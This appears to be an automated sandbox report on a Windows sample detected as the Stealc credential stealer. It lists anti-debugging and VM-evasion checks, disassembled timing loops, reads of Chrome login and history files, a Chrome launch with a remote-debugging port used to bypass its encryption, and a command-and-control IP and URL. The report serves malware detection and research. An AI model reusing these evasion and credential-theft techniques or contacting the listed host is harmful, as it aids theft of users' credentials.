Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57209D5 second address: 57209D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57209D9 second address: 5720A6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea ebx, dword ptr [edi+01h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FD18CD363BEh 0x00000015 and cx, E758h 0x0000001a jmp 00007FD18CD363BBh 0x0000001f popfd 0x00000020 call 00007FD18CD363C8h 0x00000025 mov edi, ecx 0x00000027 pop ecx 0x00000028 popad 0x00000029 mov al, byte ptr [edi+01h] 0x0000002c jmp 00007FD18CD363BDh 0x00000031 inc edi 0x00000032 jmp 00007FD18CD363BEh 0x00000037 test al, al 0x00000039 jmp 00007FD18CD363C0h 0x0000003e jne 00007FD1FCF2E3D7h 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720A6A second address: 5720A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720A6E second address: 5720A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720A74 second address: 5720AA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB18674h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD18CB18677h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720AA7 second address: 5720B0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD18CD363BFh 0x00000009 sub cx, EB9Eh 0x0000000e jmp 00007FD18CD363C9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FD18CD363C0h 0x0000001a jmp 00007FD18CD363C5h 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 shr ecx, 02h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B0C second address: 5720B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B10 second address: 5720B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B14 second address: 5720B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B1A second address: 5720B2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B2A second address: 5720B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B2E second address: 5720B34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B34 second address: 5720B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B3A second address: 5720B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b jmp 00007FD18CD363C1h 0x00000010 mov si, 6507h 0x00000014 popad 0x00000015 and ecx, 03h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD18CD363C4h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B76 second address: 5720B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B7A second address: 5720B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720B80 second address: 5720BF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB1866Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b jmp 00007FD18CB18670h 0x00000010 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000017 jmp 00007FD18CB18670h 0x0000001c mov eax, ebx 0x0000001e pushad 0x0000001f mov ebx, eax 0x00000021 jmp 00007FD18CB1866Ah 0x00000026 popad 0x00000027 mov ecx, dword ptr [ebp-10h] 0x0000002a jmp 00007FD18CB18670h 0x0000002f mov dword ptr fs:[00000000h], ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov cx, bx 0x0000003c mov edi, 26C0C11Ch 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720BF1 second address: 5720C16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD18CD363BAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720C16 second address: 5720C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB1866Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720C25 second address: 5720C76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 5Ah 0x00000005 mov ebx, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b jmp 00007FD18CD363BAh 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov edx, 7B90C7E0h 0x00000019 pushfd 0x0000001a jmp 00007FD18CD363C9h 0x0000001f sbb eax, 5FA810E6h 0x00000025 jmp 00007FD18CD363C1h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720C76 second address: 5720C92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB18671h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720C92 second address: 5720C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720C96 second address: 5720C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720C9A second address: 5720CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: FF363E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: E4DB12 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 10044F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 10849EF instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\file.exe Dropped PE file which has not been started: C:\ProgramData\chrome.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\file.exe API coverage: 3.8 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 3560 Thread sleep time: -30015s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6984 Thread sleep time: -36018s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6624 Thread sleep time: -38019s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\Desktop\file.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C89717D FindFirstFileExW, 0_2_6C89717D
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E354D1 sqlite3_os_init,GetSystemInfo, 0_2_61E354D1
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: file.exe, file.exe, 00000000.00000002.2621241116.0000000000FD4000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.12.dr Binary or memory string: VMware
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.2621902463.00000000017F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2621902463.0000000001821000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.12.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: msedge.exe, 00000006.00000003.2282246297.000025A80253C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware20,1(
Source: file.exe, 00000000.00000002.2621902463.0000000001821000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWl
Source: Amcache.hve.12.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.12.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: msedge.exe, 00000006.00000002.2293488709.000001DA83844000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000002.2621902463.00000000017AE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwarehC
Source: Amcache.hve.12.dr Binary or memory string: vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.12.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: chrome.exe, 00000002.00000003.2257805530.000074A002004000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ~]lx{tn~lzyqeMu{_tvwpd
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: file.exe, 00000000.00000002.2621902463.00000000017AE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: Amcache.hve.12.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.12.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.2621241116.0000000000FD4000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.12.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\file.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\file.exe File opened: NTICE
Source: C:\Users\user\Desktop\file.exe File opened: SICE
Source: C:\Users\user\Desktop\file.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C896ACC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_6C896ACC
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C880610 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,lstrlenW,GetCurrentProcessId,CreateMutexA,CloseHandle,ReleaseMutex,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess, 0_2_6C880610
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C89EDA0 GetProcessHeap,HeapAlloc, 0_2_6C89EDA0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C896ACC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_6C896ACC
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C891726 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_6C891726
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C8911FD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_6C8911FD
Source: C:\Users\user\Desktop\file.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: file.exe PID: 572, type: MEMORYSTR
Source: file.exe, file.exe, 00000000.00000002.2621241116.0000000000FD4000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: Program Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C85B5C0 cpuid 0_2_6C85B5C0
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\file.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C890E40 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_6C890E40
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.12.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Stealc
Source: Yara match File source: 0.2.file.exe.b60000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2620837940.0000000000B61000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2061177373.0000000005590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2621902463.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 572, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 572, type: MEMORYSTR

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Yara detected Stealc
Source: Yara match File source: 0.2.file.exe.b60000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2620837940.0000000000B61000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2061177373.0000000005590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2621902463.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 572, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E1307A sqlite3_transfer_bindings, 0_2_61E1307A
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E2D5E6 sqlite3_bind_int64, 0_2_61E2D5E6
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E2D595 sqlite3_bind_double, 0_2_61E2D595
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E0B431 sqlite3_clear_bindings, 0_2_61E0B431
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E037F3 sqlite3_value_frombind, 0_2_61E037F3
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E2D781 sqlite3_bind_zeroblob64, 0_2_61E2D781
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E2D714 sqlite3_bind_zeroblob, 0_2_61E2D714
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E2D68C sqlite3_bind_pointer, 0_2_61E2D68C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E2D65B sqlite3_bind_null, 0_2_61E2D65B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E2D635 sqlite3_bind_int, 0_2_61E2D635
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E2D9B0 sqlite3_bind_value, 0_2_61E2D9B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E2D981 sqlite3_bind_text16, 0_2_61E2D981
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1546661 Sample: file.exe Startdate: 01/11/2024 Architecture: WINDOWS Score: 100 35 206.23.85.13.in-addr.arpa 2->35 51 Suricata IDS alerts for network traffic 2->51 53 Found malware configuration 2->53 55 Antivirus / Scanner detection for submitted sample 2->55 57 8 other signatures 2->57 8 file.exe 17 2->8         started        13 msedge.exe 8 2->13         started        signatures3 process4 dnsIp5 41 185.215.113.206, 49704, 49754, 80 WHOLESALECONNECTIONSNL Portugal 8->41 43 127.0.0.1 unknown unknown 8->43 33 C:\ProgramData\chrome.dll, PE32 8->33 dropped 59 Detected unpacking (changes PE section rights) 8->59 61 Attempt to bypass Chrome Application-Bound Encryption 8->61 63 Tries to detect sandboxes and other dynamic analysis tools (window names) 8->63 65 6 other signatures 8->65 15 msedge.exe 2 10 8->15         started        18 chrome.exe 8 8->18         started        21 WerFault.exe 19 16 8->21         started        24 msedge.exe 13->24         started        file6 signatures7 process8 dnsIp9 67 Monitors registry run keys for changes 15->67 26 msedge.exe 15->26         started        37 192.168.2.5, 443, 49703, 49704 unknown unknown 18->37 39 239.255.255.250 unknown Reserved 18->39 28 chrome.exe 18->28         started        31 C:\ProgramData\Microsoft\...\Report.wer, Unicode 21->31 dropped file10 signatures11 process12 dnsIp13 45 www.google.com 142.250.185.100, 443, 49708, 49711 GOOGLEUS United States 28->45 47 plus.l.google.com 142.250.74.206, 443, 49723 GOOGLEUS United States 28->47 49 2 other IPs or domains 28->49
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.250.74.206
 plus.l.google.com United States
15169 GOOGLEUS false
172.217.16.206
 play.google.com United States
15169 GOOGLEUS false
142.250.185.100
 www.google.com United States
15169 GOOGLEUS false
239.255.255.250
 unknown Reserved
unknown unknown false
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true

Private

IP
192.168.2.5
127.0.0.1

Contacted Domains

Name IP Active
plus.l.google.com 142.250.74.206 true
play.google.com 172.217.16.206 true
www.google.com 142.250.185.100 true
206.23.85.13.in-addr.arpa unknown unknown
apis.google.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ true
    		unknown
    http://185.215.113.206/6c4adf523b719729.php true
      		unknown
      https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 false
        		unknown